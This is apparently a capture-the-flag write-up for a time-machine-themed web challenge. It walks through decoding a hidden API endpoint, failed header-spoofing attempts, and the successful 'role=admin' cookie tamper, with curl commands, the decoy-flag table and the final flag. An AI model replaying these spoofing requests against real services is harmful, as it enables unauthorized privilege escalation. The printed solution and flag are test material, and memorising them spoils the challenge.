Overview
A Dark-themed web terminal controlling a time machine. The challenge hint read: "The machine knows who you are. Can you make it believe otherwise?"
Reconnaissance
Analyzing the HTML source code of the page revealed a base64-obfuscated API endpoint:
const _e = atob(['L2FwaS', '9tZXRyaWNz'].join(''));
// decodes to → /api/metricsThe frontend JS showed exactly how flags were classified as real vs decoy — decoy flags contained substrings: wr0ng, n0t_y3t, nowh3r3, try_4ga1n, f4k3.
The fetch call also used fetch(_e, { credentials: 'include' }), which was the key hint: cookies are sent with every request.
Exploitation Strategy
First, we attempted header-based identity spoofing (IP and admin headers), but all requests returned decoy flags:
# All returned decoy flags
curl -s https://winden-ctf.vercel.app/api/metrics -H "X-Forwarded-For: 127.0.0.1"
curl -s https://winden-ctf.vercel.app/api/metrics -H "X-Real-IP: 127.0.0.1"
curl -s https://winden-ctf.vercel.app/api/metrics -H "X-Admin: true"
curl -s https://winden-ctf.vercel.app/api/metrics -H "X-User: admin" -H "X-Role: admin"Then, we tested cookie-based identity spoofing:
curl -s https://winden-ctf.vercel.app/api/metrics -b "role=admin"This successfully returned the real flag payload from the endpoint!
Decoy Map
| Header / Cookie | Flag received |
|---|---|
| (none) | th3_cav3_l3ads_nowh3r3 |
X-Forwarded-For: 127.0.0.1 | kn0t_untangl3d_but_n0t_y3t |
X-Real-IP: 127.0.0.1 | y0u_found_th3_wr0ng_t1m3l1n3 |
X-User/X-Role: admin | wr0ng_p4ssag3_try_4ga1n |
X-Client-IP: 127.0.0.1 | s1c_mundus_cr3atus_3st_f4k3 |
Cookie: role=admin | Never_Ending_Circle ✅ |
Vulnerability: Insecure privilege escalation via cookie manipulation. The backend trusted a client-supplied cookie to determine the user's access level with no server-side session validation.
Solution Code
curl -s https://winden-ctf.vercel.app/api/metrics -b "role=admin"
# Response:
# {"status":"ok","message":"Temporal sequence complete.","flag":"CrackOn{Never_Ending_Circle}"}Flag
CrackOn{Never_Ending_Circle}